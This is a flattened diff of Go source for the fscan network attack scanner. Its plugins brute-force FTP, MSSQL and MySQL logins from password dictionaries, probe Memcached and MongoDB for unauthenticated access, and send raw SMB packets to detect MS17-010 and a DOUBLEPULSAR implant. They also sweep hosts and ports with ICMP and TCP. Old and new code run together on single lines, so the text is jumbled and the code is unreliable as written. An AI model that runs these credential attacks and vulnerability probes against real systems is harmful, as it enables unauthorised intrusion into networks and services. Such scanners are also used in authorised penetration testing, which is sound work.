errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * info.Timeout) {
return err
}
} }
} }
} }
return tmperr wg.Done()
<-ch
} }
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second) conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
if err == nil { if err == nil {
err = conn.Login(Username, Password) err = conn.Login(Username, Password)
if err == nil { if err == nil {
flag = true defer conn.Logout()
result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password) result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
//defer conn.Logout()
if err == nil {
if len(dirs) > 0 {
for i := 0; i < len(dirs); i++ {
if len(dirs[i].Name) > 50 {
result += "\n [->]" + dirs[i].Name[:50]
} else {
result += "\n [->]" + dirs[i].Name
}
if i == 5 {
break
}
}
}
}
common.LogSuccess(result) common.LogSuccess(result)
flag = true
} }
} }
return flag, err return flag, err
+112 -176
View File
@@ -3,190 +3,110 @@ package Plugins
import ( import (
"bytes" "bytes"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"net" "net"
"os"
"os/exec" "os/exec"
"os/user"
"runtime" "runtime"
"strings" "strings"
"sync" "sync"
"time" "time"
) )
var ( var AliveHosts []string
AliveHosts []string
OS = runtime.GOOS
ExistHosts = make(map[string]struct{})
livewg sync.WaitGroup
)
func ICMPRun(hostslist []string, Ping bool) []string { var SysInfo = GetSys()
chanHosts := make(chan string, len(hostslist))
go func() {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
if common.Silent == false {
if Ping == false {
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
} else {
fmt.Printf("(ping) Target '%s' is alive\n", ip)
}
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}()
if Ping == true { type SystemInfo struct {
//使用ping探测 OS string
RunPing(hostslist, chanHosts) ARCH string
} else { HostName string
//优先尝试监听本地icmp,批量探测 Groupid string
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") Userid string
if err == nil { Username string
RunIcmp1(hostslist, conn, chanHosts) UserHomeDir string
} else {
common.LogError(err)
//尝试无监听icmp探测
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
if err == nil {
go conn.Close()
RunIcmp2(hostslist, chanHosts)
} else {
common.LogError(err)
//使用ping探测
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
RunPing(hostslist, chanHosts)
}
}
}
livewg.Wait()
close(chanHosts)
return AliveHosts
} }
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) { func GetSys() SystemInfo {
endflag := false var sysinfo SystemInfo
go func() {
for {
if endflag == true {
return
}
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
for _, host := range hostslist { sysinfo.OS = runtime.GOOS
dst, _ := net.ResolveIPAddr("ip", host) sysinfo.ARCH = runtime.GOARCH
IcmpByte := makemsg(host) name, err := os.Hostname()
conn.WriteTo(IcmpByte, dst) if err == nil {
sysinfo.HostName = name
} }
//根据hosts数量修改icmp监听时间
start := time.Now() u, err := user.Current()
for { sysinfo.Groupid = u.Gid
if len(AliveHosts) == len(hostslist) { sysinfo.Userid = u.Uid
break sysinfo.Username = u.Username
} sysinfo.UserHomeDir = u.HomeDir
since := time.Now().Sub(start)
var wait time.Duration return sysinfo
switch {
case len(hostslist) <= 256:
wait = time.Second * 3
default:
wait = time.Second * 6
}
if since > wait {
break
}
}
endflag = true
conn.Close()
} }
func RunIcmp2(hostslist []string, chanHosts chan string) { func isping(ip string) bool {
num := 1000 IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
if len(hostslist) < num { Time, _ := time.ParseDuration("3s")
num = len(hostslist) conn, err := net.DialTimeout("ip4:icmp", ip, Time)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
close(limiter)
}
func icmpalive(host string) bool {
startTime := time.Now()
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil { if err != nil {
return false return false
} }
defer conn.Close() defer conn.Close()
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil { _, err = conn.Write(IcmpByte)
return false if err != nil {
}
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false return false
} }
receive := make([]byte, 60) if err := conn.SetReadDeadline(time.Now().Add(time.Second * 3)); err != nil {
if _, err := conn.Read(receive); err != nil {
return false return false
} }
return true recvBuf := make([]byte, 40)
num, err := conn.Read(recvBuf[0:40])
if err != nil {
return false
}
if err := conn.SetReadDeadline(time.Time{}); err != nil {
return false
}
if string(recvBuf[0:num]) != "" {
fmt.Printf("(ICMP) Target '%s' is alive\n", ip)
return true
}
return false
} }
func RunPing(hostslist []string, chanHosts chan string) { func IcmpCheck(hostslist []string, IcmpThreads int) {
var bsenv = ""
if OS != "windows" {
bsenv = "/bin/bash"
}
var wg sync.WaitGroup var wg sync.WaitGroup
limiter := make(chan struct{}, 50) mutex := &sync.Mutex{}
limiter := make(chan struct{}, IcmpThreads)
for _, host := range hostslist { for _, host := range hostslist {
wg.Add(1) wg.Add(1)
limiter <- struct{}{} limiter <- struct{}{}
go func(host string) { go func(host string) {
if ExecCommandPing(host, bsenv) { defer wg.Done()
livewg.Add(1) if isping(host) {
chanHosts <- host mutex.Lock()
AliveHosts = append(AliveHosts, host)
mutex.Unlock()
} }
<-limiter <-limiter
wg.Done()
}(host) }(host)
} }
wg.Wait() wg.Wait()
} }
func ExecCommandPing(ip string, bsenv string) bool { func ExecCommandPing(ip string, bsenv string) bool {
var command *exec.Cmd var command *exec.Cmd
if OS == "windows" { if SysInfo.OS == "windows" {
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if OS == "linux" { } else if SysInfo.OS == "linux" {
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if OS == "darwin" { } else if SysInfo.OS == "darwin" {
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} }
outinfo := bytes.Buffer{} outinfo := bytes.Buffer{}
@@ -206,42 +126,58 @@ func ExecCommandPing(ip string, bsenv string) bool {
} }
} }
func makemsg(host string) []byte { func PingCMDcheck(hostslist []string, bsenv string) {
msg := make([]byte, 40) var wg sync.WaitGroup
id0, id1 := genIdentifier(host) mutex := &sync.Mutex{}
msg[0] = 8 limiter := make(chan struct{}, 40)
msg[1] = 0 for _, host := range hostslist {
msg[2] = 0 wg.Add(1)
msg[3] = 0 limiter <- struct{}{}
msg[4], msg[5] = id0, id1 go func(host string) {
msg[6], msg[7] = genSequence(1) defer wg.Done()
check := checkSum(msg[0:40]) if ExecCommandPing(host, bsenv) {
msg[2] = byte(check >> 8) mutex.Lock()
msg[3] = byte(check & 255) fmt.Printf("(Ping) Target '%s' is alive\n", host)
return msg AliveHosts = append(AliveHosts, host)
} mutex.Unlock()
}
func checkSum(msg []byte) uint16 { <-limiter
sum := 0 }(host)
length := len(msg)
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
} }
if length%2 == 1 { wg.Wait()
sum += int(msg[length-1]) * 256 }
func ICMPRun(hostslist []string, IcmpThreads int, Ping bool) []string {
if SysInfo.OS == "windows" {
if Ping == false {
IcmpCheck(hostslist, IcmpThreads)
} else {
PingCMDcheck(hostslist, "")
}
} else if SysInfo.OS == "linux" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist, IcmpThreads)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
} else if SysInfo.OS == "darwin" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist, IcmpThreads)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
} }
sum = (sum >> 16) + (sum & 0xffff) return AliveHosts
sum = sum + (sum >> 16)
answer := uint16(^sum)
return answer
}
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8)
ret2 := byte(v & 255)
return ret1, ret2
}
func genIdentifier(host string) (byte, byte) {
return host[0], host[1]
} }
+16 -19
View File
@@ -2,34 +2,31 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func MemcachedScan(info *common.HostInfo) (err error) { func MemcachedScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"])
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err == nil { if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second)) client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err == nil { if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten if strings.Contains(string(rev[:n]), "STAT") {
if err == nil { defer client.Close()
rev := make([]byte, 1024) result = fmt.Sprintf("Memcached:%s unauthorized", realhost)
n, err := client.Read(rev) common.LogSuccess(result)
if err == nil {
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
common.LogSuccess(result)
}
client.Close()
} else {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
}
} }
} }
} }
return err wg.Done()
<-ch
return err, result
} }
+15 -22
View File
@@ -2,36 +2,32 @@ package Plugins
import ( import (
"fmt" "fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
) )
func MongodbScan(info *common.HostInfo) error { func MongodbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
_, err := MongodbUnauth(info) MongodbUnauth(info)
if err != nil { wg.Done()
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) <-ch
common.LogError(errlog)
}
return err
} }
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false flag = false
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0} send_data := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} getlog_data := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil { if err != nil {
return flag, err return
} }
defer conn.Close() defer conn.Close()
_, err = conn.Write(senddata) conn.Write(send_data)
if err != nil {
return flag, err
}
buf := make([]byte, 1024) buf := make([]byte, 1024)
count, err := conn.Read(buf) count, err := conn.Read(buf)
if err != nil { if err != nil {
@@ -39,10 +35,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
} }
text := string(buf[0:count]) text := string(buf[0:count])
if strings.Contains(text, "ismaster") { if strings.Contains(text, "ismaster") {
_, err = conn.Write(getlogdata) conn.Write(getlog_data)
if err != nil {
return flag, err
}
count, err := conn.Read(buf) count, err := conn.Read(buf)
if err != nil { if err != nil {
return flag, err return flag, err
@@ -50,7 +43,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
text := string(buf[0:count]) text := string(buf[0:count])
if strings.Contains(text, "totalLinesWritten") { if strings.Contains(text, "totalLinesWritten") {
flag = true flag = true
result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost) result := fmt.Sprintf("Mongodb:%v unauthorized", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} }
} }
+28 -47
View File
@@ -3,11 +3,11 @@ package Plugins
import ( import (
"encoding/binary" "encoding/binary"
"encoding/hex" "encoding/hex"
"errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
) )
@@ -19,59 +19,47 @@ var (
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000") trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
) )
func MS17010(info *common.HostInfo) error { func MS17010(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
err := MS17010Scan(info) MS17010Scan(info)
if err != nil { wg.Done()
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) <-ch
common.LogError(errlog)
}
return err
} }
func MS17010Scan(info *common.HostInfo) error { func MS17010Scan(info *common.HostInfo) {
ip := info.Host ip := info.Host
// connecting to a host in LAN if reachable should be very quick // connecting to a host in LAN if reachable should be very quick
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
if err != nil { if err != nil {
//fmt.Printf("failed to connect to %s\n", ip) //fmt.Printf("failed to connect to %s\n", ip)
return err return
} }
defer conn.Close() defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil { conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
//fmt.Printf("failed to connect to %s\n", ip) conn.Write(negotiateProtocolRequest)
return err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return err
}
reply := make([]byte, 1024) reply := make([]byte, 1024)
// let alone half packet // let alone half packet
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err return
} }
if binary.LittleEndian.Uint32(reply[9:13]) != 0 { if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0 // status != 0
return err return
} }
_, err = conn.Write(sessionSetupRequest) conn.Write(sessionSetupRequest)
if err != nil {
return err
}
n, err := conn.Read(reply) n, err := conn.Read(reply)
if err != nil || n < 36 { if err != nil || n < 36 {
return err return
} }
if binary.LittleEndian.Uint32(reply[9:13]) != 0 { if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0 // status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip) //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
var Err = errors.New("can't determine whether target is vulnerable or not") return
return Err
} }
// extract OS info // extract OS info
@@ -81,7 +69,7 @@ func MS17010Scan(info *common.HostInfo) error {
// find byte count // find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 { if n != int(byteCount)+45 {
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response") fmt.Println("invalid session setup AndX response")
} else { } else {
// two continous null bytes indicates end of a unicode string // two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ { for i := 10; i < len(sessionSetupResponse)-1; i++ {
@@ -98,12 +86,10 @@ func MS17010Scan(info *common.HostInfo) error {
treeConnectRequest[32] = userID[0] treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1] treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter // TODO change the ip in tree path though it doesn't matter
_, err = conn.Write(treeConnectRequest) conn.Write(treeConnectRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err return
} }
treeID := reply[28:30] treeID := reply[28:30]
@@ -112,12 +98,9 @@ func MS17010Scan(info *common.HostInfo) error {
transNamedPipeRequest[32] = userID[0] transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1] transNamedPipeRequest[33] = userID[1]
_, err = conn.Write(transNamedPipeRequest) conn.Write(transNamedPipeRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err return
} }
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
@@ -132,23 +115,21 @@ func MS17010Scan(info *common.HostInfo) error {
trans2SessionSetupRequest[32] = userID[0] trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1] trans2SessionSetupRequest[33] = userID[1]
_, err = conn.Write(trans2SessionSetupRequest) conn.Write(trans2SessionSetupRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err return
} }
if reply[34] == 0x51 { if reply[34] == 0x51 {
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip) //fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
common.LogSuccess(result) common.LogSuccess(result)
} }
} else { } else {
result := fmt.Sprintf("[*] %s (%s)", ip, os) result := fmt.Sprintf("%s (%s)", ip, os)
common.LogSuccess(result) common.LogSuccess(result)
} }
return err
} }
+8 -18
View File
@@ -6,42 +6,32 @@ import (
_ "github.com/denisenkom/go-mssqldb" _ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"strings" "strings"
"sync"
"time" "time"
) )
func MssqlScan(info *common.HostInfo) (tmperr error) { func MssqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
starttime := time.Now().Unix() Loop:
for _, user := range common.Userdict["mssql"] { for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass) flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
return err break Loop
} else {
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * info.Timeout) {
return err
}
} }
} }
} }
return tmperr wg.Done()
<-ch
} }
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second) dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName) db, err := sql.Open("mssql", dataSourceName)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second) db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()
if err == nil { if err == nil {
+12 -21
View File
@@ -3,45 +3,36 @@ package Plugins
import ( import (
"database/sql" "database/sql"
"fmt" "fmt"
"strings"
"sync"
"time"
_ "github.com/go-sql-driver/mysql" _ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"strings"
"time"
) )
func MysqlScan(info *common.HostInfo) (tmperr error) { func MysqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
starttime := time.Now().Unix() Loop:
for _, user := range common.Userdict["mysql"] { for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass) flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
return err break Loop
} else {
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * info.Timeout) {
return err
}
} }
} }
} }
return tmperr wg.Done()
<-ch
} }
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(info.Timeout)*time.Second) dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
db, err := sql.Open("mysql", dataSourceName) db, err := sql.Open("mysql", dataSourceName)
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()
if err == nil { if err == nil {
+107 -59
View File
@@ -4,80 +4,128 @@ import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"net" "net"
"sort"
"strconv" "strconv"
"strings"
"sync" "sync"
"time" "time"
) )
type Addr struct { func ParsePort(ports string) []int {
ip string var scanPorts []int
port int slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
sort.Strings(ranges)
port = ranges[0]
upper = ranges[1]
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
return scanPorts
} }
func PortScan(hostslist []string, ports string, timeout int64) []string { func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int) {
var AliveAddress []string for port := range ports {
probePorts := common.ParsePort(ports) con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout)*time.Second)
noPorts := common.ParsePort(common.NoPorts) if err == nil {
if len(noPorts) > 0 { defer con.Close()
tmp := make(map[int]struct{}) address := host + ":" + strconv.Itoa(port)
var tmpPorts []int result := fmt.Sprintf("%s open", address)
for _, port := range probePorts { common.LogSuccess(result)
for _, noport := range noPorts { respondingHosts <- address
if port != noport {
if _, ok := tmp[port]; !ok {
tmp[port] = struct{}{}
tmpPorts = append(tmpPorts, port)
}
}
}
} }
probePorts = tmpPorts
} }
workers := common.Threads done <- true
Addrs := make(chan Addr, len(hostslist)*len(probePorts)) }
results := make(chan string, len(hostslist)*len(probePorts))
var wg sync.WaitGroup
//接收结果 func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int) ([]string, error) {
go func() { ports := make(chan int, 20)
for found := range results { results := make(chan string, 10)
AliveAddress = append(AliveAddress, found) done := make(chan bool, threads)
wg.Done()
}
}()
//多线程扫描 for worker := 0; worker < threads; worker++ {
for i := 0; i < workers; i++ { go ProbeHosts(address, ports, results, done, adjustedTimeout)
go func() {
for addr := range Addrs {
PortConnect(addr, results, timeout, &wg)
wg.Done()
}
}()
} }
//添加扫描目标
for _, port := range probePorts { for _, port := range probePorts {
for _, host := range hostslist { ports <- port
wg.Add(1) }
Addrs <- Addr{host, port} close(ports)
var responses = []string{}
for {
select {
case found := <-results:
responses = append(responses, found)
case <-done:
threads--
if threads == 0 {
return responses, nil
}
} }
} }
}
func TCPportScan(hostslist []string, ports string, timeout int) ([]string, []string) {
var AliveAddress []string
var aliveHosts []string
probePorts := ParsePort(ports)
lm := 20
if len(hostslist) > 5 && len(hostslist) <= 50 {
lm = 40
} else if len(hostslist) > 50 && len(hostslist) <= 100 {
lm = 50
} else if len(hostslist) > 100 && len(hostslist) <= 150 {
lm = 60
} else if len(hostslist) > 150 && len(hostslist) <= 200 {
lm = 70
} else if len(hostslist) > 200 {
lm = 75
}
thread := 5
if len(probePorts) > 500 && len(probePorts) <= 4000 {
thread = len(probePorts) / 100
} else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
thread = len(probePorts) / 200
} else if len(probePorts) > 6000 && len(probePorts) <= 10000 {
thread = len(probePorts) / 350
} else if len(probePorts) > 10000 && len(probePorts) < 50000 {
thread = len(probePorts) / 400
} else if len(probePorts) >= 50000 && len(probePorts) <= 65535 {
thread = len(probePorts) / 500
}
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, lm)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if aliveAdd, err := ScanAllports(host, probePorts, thread, timeout); err == nil && len(aliveAdd) > 0 {
mutex.Lock()
aliveHosts = append(aliveHosts, host)
for _, addr := range aliveAdd {
AliveAddress = append(AliveAddress, addr)
}
mutex.Unlock()
}
<-limiter
}(host)
}
wg.Wait() wg.Wait()
